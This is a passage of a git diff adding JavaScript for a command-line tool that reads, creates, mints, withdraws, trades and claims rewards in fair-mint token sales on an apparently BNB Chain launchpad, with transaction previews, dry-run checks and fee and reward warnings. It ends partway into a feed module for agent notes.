'error UnknownToken()', 'error NotMinting()', 'error ZeroAmount()', + 'error BadAmount()', 'error Slippage()', 'error WalletCapReached()', 'error NotAgent()', 'error OutOfGas()', + 'error MigratorNotSet()', 'error ZeroAddress()', 'error RefPoolRequired()', 'error NoBridgePool()', 'error BridgeNotWbnb()', + 'error PriceTooSmall()', 'error FeeOnTransferQuote()', 'error VaultFloorTooHigh()', 'error QuoteNotAllowed()', + 'error RouterNeedsGate()', 'error NotContract()', 'error UnknownPoolType()', 'error V3FactoryNotSet()', + 'error PoolNotFactory()', 'error QuoteNotInPool()', 'error PoolNoLiquidity()', 'error ThinReferencePool()', 'error GradAmtZero()', + 'event Created(address indexed token, address indexed creator, string name, string symbol, string logoURI, address indexed quote, address refPool, uint256 raiseBnb, uint256 sharePrice, uint256 capShares, uint256 holdBps, uint256 mintFeeBps, uint256 exitFeeBps)', + 'event Minted(address indexed token, address indexed user, uint256 shares, uint256 cost, uint256 fee, uint256 userShares, uint256 sold)', + 'event Withdrawn(address indexed token, address indexed user, uint256 shares, uint256 payout, uint256 fee, uint256 userShares, uint256 sold)', + 'event Launched(address indexed token, address indexed pair, address quote, uint256 tokenAmount, uint256 quoteAmount)', +]) +const HANDLER_ABI = parseAbi([ + 'function isOut(address token, address user) view returns (bool)', + 'function eligibleShare(address token, address user) view returns (uint256)', +]) +const VAULT_ABI = parseAbi([ + 'function pending(address token, address user) view returns (uint256)', + 'function totalShares(address token) view returns (uint256)', + 'function claim(address token) returns (uint256)', + 'event DividendClaimed(address indexed token, address indexed user, uint256 amount)', +]) +const ERC20_ABI = parseAbi([ + 'function balanceOf(address) view returns (uint256)', + 'function symbol() view returns (string)', +]) +// GangToken's pool tax rates (immutable; 0 / 0 on an untaxed token) +const TAX_ABI = parseAbi(['function buyTaxBps() view returns (uint16)', 'function sellTaxBps() view returns (uint16)']) +const ERC721_ABI = parseAbi(['function balanceOf(address) view returns (uint256)']) +const PAIR_ABI = parseAbi(['function getReserves() view returns (uint112, uint112, uint32)', 'function token0() view returns (address)']) + +/** A launched sale's pool reserves as [token side, quote side] ([0, 0] before launch). */ +async function poolReserves(ctx, token, pair) { + if (!pair) return [0n, 0n] + const [[r0, r1], t0] = await Promise.all([ctx.read(pair, PAIR_ABI, 'getReserves'), ctx.read(pair, PAIR_ABI, 'token0')]) + return t0.toLowerCase() === token.toLowerCase() ? [r0, r1] : [r1, r0] +} + +/** Pool price of a launched sale's token, in quote wei per token (0 before launch / an empty pool). */ +async function poolPriceRaw(ctx, token, pair) { + const [rT, rQ] = await poolReserves(ctx, token, pair) + return rT > 0n ? (rQ * 10n ** 18n) / rT : 0n +} + +const STATUS = ['none', 'minting', 'launched'] +// what to tell the agent for each pad error +const HINTS = { + BadConfig: 'a rule is out of bounds: see reason', + NotAgent: 'this wallet holds no Agent ID; fair mint is Agent-only', + NotMinting: 'the sale already launched: trade the token in the pool with gang buy / gang sell', + WalletCapReached: 'this wallet already holds the per-wallet cap of shares', + Slippage: 'fewer shares are left than --min-shares (someone filled first)', + BadAmount: '--shares is more than this wallet holds in the sale', + FeeOnTransferQuote: 'the quote token takes a fee on transfer; it cannot be used', + RefPoolRequired: 'this quote needs --ref-pool (a Pancake pool pricing it)', + PriceTooSmall: 'the raise in this quote is too small to split into 10,000 shares', + QuoteNotAllowed: '--quote must be WBNB or an 18-decimal ERC-20 token (leave it out to use WBNB)', + PoolNotFactory: '--ref-pool is not a PancakeSwap V2 pair / V3 pool', + NotContract: '--ref-pool is not a contract', + UnknownPoolType: '--ref-pool is not a PancakeSwap V2 pair / V3 pool', + PoolNoLiquidity: '--ref-pool has no liquidity', + V3FactoryNotSet: 'V3 pools are not enabled on this pad yet; use a Pancake V2 pair as --ref-pool', + NoBridgePool: '--ref-pool pairs the quote with a token that has no bridge to WBNB here; pick a pool against WBNB (or USDT on mainnet)', + BridgeNotWbnb: 'the bridge pool for this --ref-pool is misconfigured; pick a pool against WBNB', + GradAmtZero: 'the quote token is priced so high that the raise rounds to 0', + QuoteNotInPool: '--ref-pool does not contain the --quote token', + ThinReferencePool: '--ref-pool is too shallow; pick the deepest pool for this quote', + RouterNeedsGate: 'this sale has no Agent gate, so the router path is off; re-run with --use-wbnb to mint directly', + // not a create flag: the shared dividend vault's holding floor for this pad was raised above what 打新 allows + VaultFloorTooHigh: 'the platform\'s dividend vault requires a larger holding than fair-mint rewards allow, so no sale can be created right now; ask gang to fix the vault setting', +} + +/** What `gang tx` decodes a 打新 trade's logs with (the pad, the holder-reward vault). */ +export const FAIR_EVENT_ABIS = [PAD_ABI, VAULT_ABI] + +export function fairCtx(testnet) { + const net = FAIR_NETS[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +const symbolOf = async (ctx, token) => { try { return await ctx.read(token, ERC20_ABI, 'symbol') } catch { return null } } + +/** Wallet address on the fair chain; the Agentic Wallet's EVM address is the same on every chain, so 56 is the fallback. */ +export function walletFor(ctx, from) { + if (from) return from + try { return bawAddress(ctx.chainId) } catch { return bawAddress('56') } +} + +/** Revert name (+ BadConfig reason) of a failed eth_call, or null when it was the RPC. */ +const revertOf = (e) => revertIn(e, [PAD_ABI, ROUTER_ABI, MERGED_ERRORS_ABI], { ...MERGED_HINTS, ...ROUTER_HINTS, ...HINTS }) + +/** Dry-run `data` from `from`; null when it would pass. */ +async function dryRun(ctx, from, to, data, value = 0n) { + try { + await ctx.client.call({ account: from, to, data, value }) + return null + } catch (e) { + const r = revertOf(e) + return r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } + } +} + +/** A sale as the pad stores it, plus derived fields. null when the token is not a fair-mint sale on this pad. */ +export async function saleOf(ctx, token) { + const s = await ctx.read(ctx.pad, PAD_ABI, 'sales', [token]) + if (s[0] === zeroAddress) return null + const [creator, progressAt, capShares, holdBps, quote, sold, launched, mintFeeBps, exitFeeBps, gate, sharePrice, pair] = s + const [st, exitNowBps, staleAfter] = await Promise.all([ + ctx.read(ctx.pad, PAD_ABI, 'status', [token]), ctx.read(ctx.pad, PAD_ABI, 'exitFeeBpsOf', [token]), + ctx.read(ctx.pad, PAD_ABI, 'STALE_AFTER'), + ]) + const status = STATUS[Number(st)] + const left = 10_000 - Number(sold) + return { + token, status, creator, quote, quoteSymbol: await symbolOf(ctx, quote), gate, + capShares: Number(capShares), holdPct: Number(holdBps) / 100, sold: Number(sold), totalShares: 10_000, + // no deadline: what a fill still needs, and how long until withdraws stop paying the exit fee + sharesLeft: left, minWalletsLeft: Math.ceil(left / Number(capShares)), + // the stale clock: restarts only on progress (sold up 10 shares since the last restart), not on every mint + progressAt: Number(progressAt), progressIso: new Date(Number(progressAt) * 1000).toISOString(), + stale: !launched && Number(exitNowBps) === 0, + exitFeeFreeIn: launched ? 0 : Math.max(0, Number(progressAt) + Number(staleAfter) - Math.floor(Date.now() / 1000)), + mintFeePct: Number(mintFeeBps) / 100, exitFeePct: Number(exitFeeBps) / 100, exitFeeNowPct: Number(exitNowBps) / 100, + exitFeeBps: Number(exitFeeBps), + sharePriceRaw: sharePrice, sharePrice: await units(ctx, quote, sharePrice), launched, + pair: pair === zeroAddress ? null : pair, + } +} + +/** Quote funding for `need` toward the pad (wrap BNB, then approve): a step object, or null when ready. */ +const fundingStep = (ctx, me, quote, need, sym, rawOnly, summarize) => + fund(ctx, { me, token: quote, need, spender: ctx.pad, sym }, rawOnly, summarize) + +const tokenArg = (opt, fail) => { + const t = opt('token') + if (!isAddress(t ?? '')) fail('--token must be the sale\'s token address (0x…)', { got: t ?? null }) + return t +} + +/** `x` less `slippagePct`% (the pool quote's minOut, as `gang v3 sell`). */ +const minOf = (x, slippagePct) => (x * BigInt(Math.round((100 - slippagePct) * 100))) / 10_000n + +/** + * Live position of `me` in a sale (reward fields once launched). After launch any wallet holding the token — a minter + * or one that only bought in the pool — gets poolSellAll: what selling its whole balance pays, and the minOut for it at + * `slippage`%. + */ +async function positionOf(ctx, token, me, sale, slippage) { + const shares = await ctx.read(ctx.pad, PAD_ABI, 'positions', [token, me]) + const tps = await ctx.read(ctx.pad, PAD_ABI, 'TOKENS_PER_SHARE') + const baseline = BigInt(shares) * tps + const pos = { shares: Number(shares), baselineTokens: formatUnits(baseline, 18) } + if (!sale.launched) { + if (shares) { + const [payout] = await ctx.read(ctx.pad, PAD_ABI, 'previewWithdraw', [token, me, BigInt(shares)]) + pos.sellBackAll = await units(ctx, sale.quote, payout) // what `gang fair withdraw --all` pays now + } + return pos + } + const [handler, vault, bal] = await Promise.all([ + ctx.read(ctx.pad, PAD_ABI, 'taxHandler'), ctx.read(ctx.pad, PAD_ABI, 'dividendVault'), ctx.read(token, ERC20_ABI, 'balanceOf', [me]), + ]) + // what selling the whole balance into the pool pays (the 1% tax and the chunk sold first included, as of the next block) + const q = sale.pair && bal > 0n ? await poolSellQuote(ctx, handler, token, bal) : null + const sellAll = q && { + poolSellAll: { + expectOut: await units(ctx, sale.quote, q.out), minOut: await units(ctx, sale.quote, minOf(q.out, slippage)), slippagePct: slippage, + quotedWith: q.quotedWith, hint: POOL_SELL_HINT, + }, + } + if (!shares) { + return { ...pos, balance: formatUnits(bal, 18), ...sellAll, reward: 'none', note: 'did not mint in this sale: the holder reward is only for minters' } + } + const [out, weight, reward, total] = await Promise.all([ + ctx.read(handler, HANDLER_ABI, 'isOut', [token, me]), + ctx.read(handler, HANDLER_ABI, 'eligibleShare', [token, me]), + poolPriceRaw(ctx, token, sale.pair).then((p) => dividendOf(ctx, vault, token, me, sale.quote, p)), + ctx.read(vault, VAULT_ABI, 'totalShares', [token]), + ]) + const line = (baseline * BigInt(Math.round(sale.holdPct * 100))) / 10_000n + return { + ...pos, + balance: formatUnits(bal, 18), + ...sellAll, + reward: out ? 'out' : 'earning', + holdLineTokens: formatUnits(line, 18), + sellableBeforeOut: !out && bal > line ? formatUnits(bal - line, 18) : '0', + poolSharePct: total > 0n ? Number((weight * 1_000_000n) / total) / 10_000 : 0, + pendingReward: reward.claimable, + // tax credited to me when it was paid, claimable once its batch is sold (null on vaults without tax-time crediting) + creditedUnsoldTokens: reward.creditedUnsoldTokens, creditedUnsoldEstimate: reward.creditedUnsoldEstimate, + ...(out ? { note: 'out for good: fell below the hold line once; buying back does not restore it' } : reward.note && { note: reward.note }), + } +} + +/** + * Entry for `gang fair `. io: { opt, flag, out, fail, summarize, resolveLogo, checkMeta, resolveMeta, notes } from + * index.js (summarize = summarizePreview, so previews look like every other command's; notes = padNotes: --note). + */ +const SUBS = ['list', 'info', 'status', 'create', 'mint', 'withdraw', 'buy', 'sell', 'claim', 'tx'] +/** withdraw reverts below the preview minus this (bps): it catches an exit fee coming back (≥ 1%). */ +const WITHDRAW_TOLERANCE_BPS = 10n +const USAGE = 'usage: gang fair [--testnet] — see gang help' + +export async function runFair(sub, { opt, flag, out, fail, summarize, resolveLogo, checkMeta, resolveMeta, notes }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const rawOnly = flag('calldata') + if (sub === 'list') { + const status = opt('status', 'minting') + if (!['minting', 'launched', 'all'].includes(status)) fail('--status must be minting, launched or all') + const r = await fetch(`${API}/fair/sales?status=${status}&limit=30`, { headers: { 'user-agent': UA }, signal: AbortSignal.timeout(10_000) }) + .then((x) => (x.ok ? x.json() : { error: x.status })).catch((e) => ({ error: e.message })) + if (r.error) return out({ success: false, error: `gang.fun fair list unavailable (${r.error})`, hint: `use gang info --token ${testnet ? ' --testnet' : ''} for one sale` }) + return out({ success: true, status, items: (r.items || []).map((x) => ({ + token: x.address, symbol: x.symbol, status: x.status, sold: x.sold, participants: x.participants, + sharePrice: x.sharePrice && formatUnits(BigInt(x.sharePrice), 18), quote: x.quoteSymbol, chainId: x.chainId, + sharesLeft: x.sharesLeft ?? null, minWalletsLeft: x.minWalletsLeft ?? null, lastMintAt: x.lastMintAt ?? null, progressAt: x.progressAt ?? null, stale: x.stale ?? null, + link: `https://gang.fun/token/${x.address}`, + })) }) + } + + let ctx + try { ctx = fairCtx(testnet) } catch (e) { return fail(e.message) } + // a token is served by the GangLaunchpad generation that has it (its pad, router, GangBond); a create goes to the newest + const onPad = sub !== 'create' && sub !== 'tx' ? await atTokenPad(ctx, opt('token')) : undefined + if (onPad === null) return fail(KIND_UNREAD.error, { token: opt('token'), retry: KIND_UNREAD.retry }) + // not a sale on this pad: on the merged pad it may be a V3 token (kindOf), so point at `gang v3` + const notFair = async (token) => { + const { error, kind } = await notThisKind(ctx, token, 'fair', testnet ? ' --testnet' : '') + return fail(error, { token, chainId: ctx.chainId, ...(kind && { kind }) }) + } + // 3.0's sales() answers a 铸币飞轮 token with another struct: never read it as a 打新 sale + if (onPad === 'fly') return notFair(opt('token')) + + if (sub === 'info' || sub === 'status') { + const token = tokenArg(opt, fail) + const sale = await saleOf(ctx, token) + if (!sale) return notFair(token) + const { sharePriceRaw: _raw, exitFeeBps: _exit, ...pub } = sale + if (sub === 'info') { + // after launch the 1% tax is held as tokens and sold in small chunks under a per-block budget + const swapBack = sale.launched && sale.pair + ? await swapBackState(ctx, await ctx.read(ctx.pad, PAD_ABI, 'taxHandler'), token, (await poolReserves(ctx, token, sale.pair))[0]) + : null + // 3.0: the rule set the sale was created under (fixed for good) + const tokenVersion = ctx.gen === PAD3_GEN ? await ctx.read(ctx.pad, TOKEN_VERSION_ABI, 'tokenVersionOf', [token]).then(Number).catch(() => null) : null + return out({ success: true, chainId: Number(ctx.chainId), ...pub, ...(ctx.gen && { padGen: ctx.gen }), ...(tokenVersion != null && { tokenVersion }), ...(swapBack && { swapBack }) }) + } + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + const me = walletFor(ctx, opt('from')) + return out({ success: true, chainId: Number(ctx.chainId), wallet: me, sale: pub, position: await positionOf(ctx, token, me, sale, slippage) }) + } + + if (sub === 'create') { + const name = opt('name'), symbol = opt('symbol') + if (!name || !symbol) fail('--name and --symbol are required') + checkMeta() // a bad --website / --twitter / --description fails here, before any wrap / approve round or upload + const raise = parseNum(fail, 'raise', opt('raise', '15'), 5, 50) + if (flag('hours')) fail('--hours was removed: a fair-mint sale has no deadline and stays open until it fills') + if (flag('grad')) fail('--grad is a V3 curve setting (the graduation target, 2.0 / 3.0): a 打新 sale fills at its --raise instead, so leave --grad out') + const capPct = parseNum(fail, 'cap', opt('cap', '0.5'), 0.25, 1) + const holdPct = parseNum(fail, 'hold', opt('hold', '60'), 60, 90) + const mintFeePct = parseNum(fail, 'mint-fee', opt('mint-fee', '1'), 1, 3) + const exitFeePct = parseNum(fail, 'exit-fee', opt('exit-fee', '1'), 1, 2) + const devShares = parseIntIn(fail, 'shares', opt('shares', '1'), 1, Math.round(capPct * 200)) + const quote = flag('quote') ? opt('quote') : ctx.wbnb + const refPool = flag('ref-pool') ? opt('ref-pool') : (defaultRefPool(ctx.chainId, quote) ?? zeroAddress) + if (!isAddress(quote ?? '') || !isAddress(refPool ?? '')) fail('--quote / --ref-pool must be 0x addresses') + const cfg = { + raiseBnb: parseEther(String(raise)), capBps: Math.round(capPct * 100), + holdBps: Math.round(holdPct * 100), mintFeeBps: Math.round(mintFeePct * 100), exitFeeBps: Math.round(exitFeePct * 100), + } + const [ok, reason] = await ctx.read(ctx.pad, PAD_ABI, 'checkConfig', [cfg, BigInt(devShares)]) + if (!ok) fail(`rule out of bounds: ${reason}`) + let priced + try { priced = await ctx.read(ctx.pad, PAD_ABI, 'previewCreate', [quote, refPool, cfg.raiseBnb]) } catch (e) { + return fail('cannot price the raise in this quote', revertOf(e) || { detail: e.shortMessage || e.message }) + } + const [raiseQuote, sharePrice] = priced + const sym = await symbolOf(ctx, quote) + const fee = (sharePrice * BigInt(devShares) * BigInt(cfg.mintFeeBps)) / 10_000n + const need = sharePrice * BigInt(devShares) + fee + const me = walletFor(ctx, opt('from')) + const pre = await fundingStep(ctx, me, quote, need, sym, rawOnly, summarize) + if (pre) return out(pre.success ? { ...pre, ...notes.skipped() } : pre) + // logoURI is permanent on-chain: same handling as `gang create` (--logo file upload, other hosts copied to gang.fun). + // Done after the setup steps so a wrap / approve round does not upload the image twice. + const createData = (logoURI, metaURI) => encodeFunctionData({ + abi: PAD_ABI, functionName: 'create', args: [name, symbol, logoURI, metaURI, quote, refPool, cfg, BigInt(devShares)], + }) + // the logo / metadata strings never decide a revert: dry-run without them, so a create that would fail uploads nothing + const dry = await dryRun(ctx, me, ctx.pad, createData('', '')) + if (dry) return out({ success: false, step: 'create', ...dry }) + const logo = await resolveLogo() + const meta = await resolveMeta({ name, symbol, logoURI: logo.logoURI }) + const data = createData(logo.logoURI, meta.metaURI) + return out(notes.step(ctx, { from: me, to: ctx.pad, data }, { + step: 'create', chainId: Number(ctx.chainId), name, symbol, logoURI: logo.logoURI, ...(logo.uploaded && { uploaded: true }), + metaURI: meta.metaURI, metadata: meta.metadata, quote: sym || quote, + raise: await units(ctx, quote, raiseQuote), sharePrice: await units(ctx, quote, sharePrice), + capShares: cfg.capBps * 2, minWallets: Math.ceil(10_000 / (cfg.capBps * 2)), holdPct, mintFeePct, exitFeePct, devShares, + devCost: await units(ctx, quote, need), + note: 'no deadline: the sale stays open until all 10,000 shares are minted, then launches. Minters can sell shares back at the mint price (minus the exit fee; none after 7 days without progress, i.e. fewer than 10 new shares). The mint fee is the platform\'s and is not returned.', + }, 'create')) + } + + if (sub === 'mint') { + const token = tokenArg(opt, fail) + const want = parseIntIn(fail, 'shares', opt('shares'), 1, 10_000) + const sale = await saleOf(ctx, token) + if (!sale) return notFair(token) + if (sale.status !== 'minting') { + return fail(`sale is ${sale.status}, not minting`, { hint: `it launched: buy in the pool with gang buy --token ${token} --amount ${testnet ? ' --testnet' : ''}` }) + } + const me = walletFor(ctx, opt('from')) + if (sale.gate !== zeroAddress && (await ctx.read(sale.gate, ERC721_ABI, 'balanceOf', [me])) === 0n) { + return fail('this wallet holds no Agent ID; fair mint is Agent-only', { wallet: me }) + } + const [accepted, cost, fee] = await ctx.read(ctx.pad, PAD_ABI, 'previewMint', [token, me, BigInt(want)]) + if (accepted === 0n) return fail('no shares available to this wallet (cap reached or sold out)', { capShares: sale.capShares }) + const minShares = flag('min-shares') ? parseIntIn(fail, 'min-shares', opt('min-shares'), 1, Number(accepted)) : Number(accepted) + const need = cost + fee + const fills = sale.sold + Number(accepted) === 10_000 + const extra = { + step: 'mint', chainId: Number(ctx.chainId), token, shares: Number(accepted), ...(Number(accepted) < want && { truncatedFrom: want }), + cost: await units(ctx, sale.quote, cost), fee: await units(ctx, sale.quote, fee), feePct: sale.mintFeePct, quote: sale.quoteSymbol, + soldAfter: sale.sold + Number(accepted), ...(fills && { launches: 'this mint fills the sale and launches the token (higher gas)' }), + ...(!fills && { minWalletsLeftAfter: Math.ceil((10_000 - sale.sold - Number(accepted)) / sale.capShares) }), + note: `the ${sale.mintFeePct}% mint fee goes to the platform and is not returned; selling back later pays the mint price minus the exit fee`, + } + // WBNB sale: pay native BNB through the router in one tx (it wraps; the position is still this wallet's) + if (viaRouter(ctx, sale.quote, flag)) { + const native = await ctx.client.getBalance({ address: me }) + if (native < need + GAS_RESERVE) { + return fail('not enough BNB for this mint (native BNB must also cover gas)', { + haveBnb: formatUnits(native, 18), needBnb: formatUnits(need, 18), reserveForGas: formatUnits(GAS_RESERVE, 18), hint: 'add --use-wbnb to pay from WBNB instead', + }) + } + const data = encodeFunctionData({ abi: ROUTER_ABI, functionName: 'fairMintBNB', args: [token, accepted, BigInt(minShares), routerDeadline()] }) + const dry = await dryRun(ctx, me, ctx.router, data, need) + if (dry) return out({ success: false, step: 'mint', via: 'router', ...dry }) + return out(notes.step(ctx, { from: me, to: ctx.router, data, value: need }, { ...extra, via: 'router', payBnb: formatUnits(need, 18) }, 'buy')) + } + const pre = await fundingStep(ctx, me, sale.quote, need, sale.quoteSymbol, rawOnly, summarize) + if (pre) return out(pre.success ? { ...pre, ...notes.skipped() } : pre) + const data = encodeFunctionData({ abi: PAD_ABI, functionName: 'mint', args: [token, accepted, BigInt(minShares)] }) + const dry = await dryRun(ctx, me, ctx.pad, data) + if (dry) return out({ success: false, step: 'mint', ...dry }) + return out(notes.step(ctx, { from: me, to: ctx.pad, data }, extra, 'buy')) + } + + if (sub === 'withdraw') { + const token = tokenArg(opt, fail) + const sale = await saleOf(ctx, token) + if (!sale) return notFair(token) + if (sale.status !== 'minting') { + return fail(`sale is ${sale.status}: withdraw only while minting`, sale.launched ? { + pair: sale.pair, + hint: `it launched: sell in the pool with \`gang sell --token ${token} (--amount | --all)${testnet ? ' --testnet' : ''}${opt('from') ? ` --from ${opt('from')}` : ''} [--slippage 1] [--to-bnb]\`` + + ' (through GangRouter; minOut from the tax handler\'s previewSellNextBlock)', + } : {}) + } + const me = walletFor(ctx, opt('from')) + const held = await ctx.read(ctx.pad, PAD_ABI, 'positions', [token, me]) + if (!held) return fail('this wallet has no shares in this sale') + const shares = flag('all') ? Number(held) : parseIntIn(fail, 'shares', opt('shares'), 1, Number(held)) + // a bond posted during the sale already binds: selling shares back takes their tokens out of the creator's wallet + const guard = ctx.bond && await bondGuard(ctx, { + token, me, amount: BigInt(shares) * (await ctx.read(ctx.pad, PAD_ABI, 'TOKENS_PER_SHARE')), testnet, breakBond: flag('break-bond'), settleFirst: flag('settle-first'), + }, rawOnly, summarize) + if (guard?.refuse) return out({ success: false, step: 'withdraw', wallet: me, ...guard.refuse }) + const [payout, fee] = await ctx.read(ctx.pad, PAD_ABI, 'previewWithdraw', [token, me, BigInt(shares)]) + // the price is fixed, so only the exit fee can move the payout: a mint landing first can restart the 7-day clock + // and bring a 1–2% fee back. 0.1% below the preview refuses that and nothing else. + const minPayout = (payout * (10_000n - WITHDRAW_TOLERANCE_BPS)) / 10_000n + const data = encodeFunctionData({ abi: PAD_ABI, functionName: 'withdraw', args: [token, BigInt(shares), minPayout] }) + const dry = await dryRun(ctx, me, ctx.pad, data) + if (dry) return out({ success: false, step: 'withdraw', ...dry }) + return out(notes.step(ctx, { from: me, to: ctx.pad, data }, { + step: 'withdraw', chainId: Number(ctx.chainId), token, shares, + receive: await units(ctx, sale.quote, payout), minReceive: await units(ctx, sale.quote, minPayout), + exitFee: await units(ctx, sale.quote, fee), quote: sale.quoteSymbol, + exitFeePct: sale.exitFeeNowPct, ...guard?.info, + note: sale.stale + ? `no progress for 7 days: no exit fee, the full mint price back; the ${sale.mintFeePct}% paid at mint is not returned` + : `mint price − ${sale.exitFeeNowPct}% exit fee (none after 7 days without 10 new shares); the ${sale.mintFeePct}% paid at mint is not returned`, + }, 'sell')) + } + + if (sub === 'buy' || sub === 'sell') { + // after launch: trade the token in its PancakeSwap pool through GangRouter (the 打新 pool tax applies both ways) + const token = tokenArg(opt, fail) + const sale = await saleOf(ctx, token) + if (!sale) return notFair(token) + if (!sale.launched || !sale.pair) { + return fail(`sale is ${sale.status}: gang ${sub} trades the token in its pool after launch`, { + hint: sub === 'buy' ? `while minting, buy shares with gang mint --token ${token} --shares ` : `while minting, sell shares back with gang withdraw --token ${token} (--shares | --all)`, + }) + } + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + if (sub === 'sell' && flag('all') === !!opt('amount')) fail('pass exactly one of --amount or --all') + if (sub === 'buy' && !flag('amount')) fail('--amount required') + let buyTaxBps, sellTaxBps, handler + try { + ;[buyTaxBps, sellTaxBps, handler] = await Promise.all([ + ctx.read(token, TAX_ABI, 'buyTaxBps'), ctx.read(token, TAX_ABI, 'sellTaxBps'), ctx.read(ctx.pad, PAD_ABI, 'taxHandler'), + ]) + } catch (e) { + // never guess 0%: the minimum would ignore the tax + return fail('cannot read the token\'s pool tax rates (buyTaxBps / sellTaxBps) or the tax handler: no minimum is built without them', { token, detail: e.shortMessage || e.message.split('\n')[0], hint: 're-run' }) + } + const me = walletFor(ctx, opt('from')) + // a minter still earning: selling past sellableBeforeOut drops it below the hold line and ends the reward for good + let outWarning = null + if (sub === 'sell') { + const shares = await ctx.read(ctx.pad, PAD_ABI, 'positions', [token, me]) + if (shares && !(await ctx.read(handler, HANDLER_ABI, 'isOut', [token, me]))) { + const [tps, bal] = await Promise.all([ctx.read(ctx.pad, PAD_ABI, 'TOKENS_PER_SHARE'), ctx.read(token, ERC20_ABI, 'balanceOf', [me])]) + const line = (BigInt(shares) * tps * BigInt(Math.round(sale.holdPct * 100))) / 10_000n + const sellable = bal > line ? bal - line : 0n + const amount = flag('all') ? bal : parseUnits(parseAmount(fail, 'amount', opt('amount')), 18) + if (amount <= bal && amount > sellable) { + outWarning = { + warning: `WARNING: selling ${formatUnits(amount, 18)} tokens goes past sellableBeforeOut (${formatUnits(sellable, 18)}): this wallet drops below its hold line (${formatUnits(line, 18)} tokens) and loses the holder reward FOR GOOD — buying back does not restore it`, + sellableBeforeOut: formatUnits(sellable, 18), holdLineTokens: formatUnits(line, 18), balance: formatUnits(bal, 18), + } + if (!flag('confirm-out')) { + return fail(outWarning.warning, { + ...outWarning, token, wallet: me, + hint: `sell at most sellableBeforeOut to keep the reward, or re-run with --confirm-out once the user accepts losing it`, + }) + } + } + } + } + return out(await poolTrade(ctx, { + side: sub, token, quote: sale.quote, me, slippage, buyTaxBps: Number(buyTaxBps), sellTaxBps: Number(sellTaxBps), handler, + amount: sub === 'sell' && flag('all') ? null : parseAmount(fail, 'amount', opt('amount')), all: sub === 'sell' && flag('all'), + swapBackGas: Number(sellTaxBps) > 0, payBnb: sub === 'buy' && poolPayBnb(ctx, sale.quote, flag), toBnb: flag('to-bnb'), + base: { kind: 'fair', pair: sale.pair, ...notes.pool, ...(outWarning && { ...outWarning, confirmedOut: true }) }, + ...(sub === 'sell' && { bond: { testnet, breakBond: flag('break-bond'), settleFirst: flag('settle-first') } }), + }, { rawOnly, summarize, revertOf })) + } + + if (sub === 'claim') { + const token = tokenArg(opt, fail) + const sale = await saleOf(ctx, token) + if (!sale) return notFair(token) + const me = walletFor(ctx, opt('from')) + const vault = await ctx.read(ctx.pad, PAD_ABI, 'dividendVault') + const r = await dividendOf(ctx, vault, token, me, sale.quote, await poolPriceRaw(ctx, token, sale.pair)) + const unsold = r.creditedUnsoldTokens && Number(r.creditedUnsoldTokens) > 0 + if (r.claimableRaw === 0n) { + return fail('nothing to claim yet', { + ...(unsold && { creditedUnsoldEstimate: r.creditedUnsoldEstimate, note: r.note }), + hint: `gang status --token ${token}${testnet ? ' --testnet' : ''}`, + }) + } + const data = encodeFunctionData({ abi: VAULT_ABI, functionName: 'claim', args: [token] }) + return out(step(ctx, { from: me, to: vault, data }, { + step: 'claim', chainId: Number(ctx.chainId), token, amount: r.claimable, quote: sale.quoteSymbol, + ...(unsold && { stillCreditedUnsold: r.creditedUnsoldEstimate }), + }, rawOnly, summarize)) + } + + if (sub === 'tx') { + const hash = opt('hash') + if (!/^0x[0-9a-fA-F]{64}$/.test(hash ?? '')) fail('--hash must be a tx hash') + const r = await ctx.client.waitForTransactionReceipt({ hash, timeout: 120_000 }) + const events = [] + for (const log of r.logs) { + for (const abi of [PAD_ABI, VAULT_ABI]) { + try { + const ev = decodeEventLog({ abi, data: log.data, topics: log.topics }) + events.push({ event: ev.eventName, ...Object.fromEntries(Object.entries(ev.args).map(([k, v]) => [k, typeof v === 'bigint' ? v.toString() : v])) }) + break + } catch { /* other contract / event */ } + } + } + return out({ success: true, chainId: Number(ctx.chainId), hash, status: r.status, block: Number(r.blockNumber), events, explorer: `${ctx.explorer}/tx/${hash}` }) + } + + return fail(USAGE, { got: sub }) +} diff --git a/src/feed.js b/src/feed.js new file mode 100644 index 0000000..bcd7fdd --- /dev/null +++ b/src/feed.js @@ -0,0 +1,166 @@ +/** + * Finding notes to follow: other agents' buy notes and launch manifestos that a buy can still follow (GET /api/notes + * ?followable=1), the author's record with each, and the agent leaderboard (GET /api/agents/leaderboard). + * Data only: following one is still `gang follow ` → preview → the user confirms → `gang execute`. + */ +import { get } from './discover.js' +import { noteLink, localTime } from './follow.js' + +export const NOTE_SORTS = ['new', 'author', 'followers'] +export const AGENT_WINDOWS = ['1d', '7d', '30d', 'all'] +export const AGENT_SORTS = ['score', 'hitRate', 'count', 'follow', 'followUsd'] +export const NOTE_EVENTS = ['note', 'revealed'] +const PAGE = 100 // the API's max limit +const WATCH_PAGES = 5 // followable notes are the last 24h only; more than 500 at once is unlikely +const SEEN_CAP = 5000 +const FALLBACK = '' // no on-chain fallback for notes +const r4 = (v) => (v == null ? null : Math.round(v * 10000) / 10000) +const TRACK = { main: 'soft', stocks: 'v2' } + +/** + * status → what the agent may say about the text: shown, sealed (public at revealAt; null while the author hasn't sent + * the text yet, only its commitment is on-chain), or never revealed in time. + */ +function noteText(n) { + if (n.status === 'ok') return { status: 'shown', text: n.text, conf: n.conf } + if (n.status === 'sealed') return { status: 'sealed', text: null, conf: null, revealAt: n.revealAt ? localTime(n.revealAt) : null } + return { status: 'unrevealed', text: null, conf: null } // expired: the author never sent the text within 24h +} + +/** + * One API note item → what the agent shows the user: the note, its author's record, the token, the follow so far. + * follow is null for a note that can never be followed (a sell note, a sample); `next` only when a buy would count now. + */ +export function noteRow(n) { + const a = n.author, f = n.follow + return { + tx: n.tx, link: noteLink(n.tx), kind: n.kind === 'launch' ? 'launch manifesto' : n.kind, at: localTime(n.ts), + author: { + address: n.agent?.address ?? null, handle: n.agent?.handle ?? null, + // last 30 days; null when the author has no shown note in that window + record: a ? { + notes: a.count, judged: a.scored, hitRate: r4(a.hitRate), score: a.score == null ? null : Math.round(a.score), + revealRate: r4(a.revealRate), + 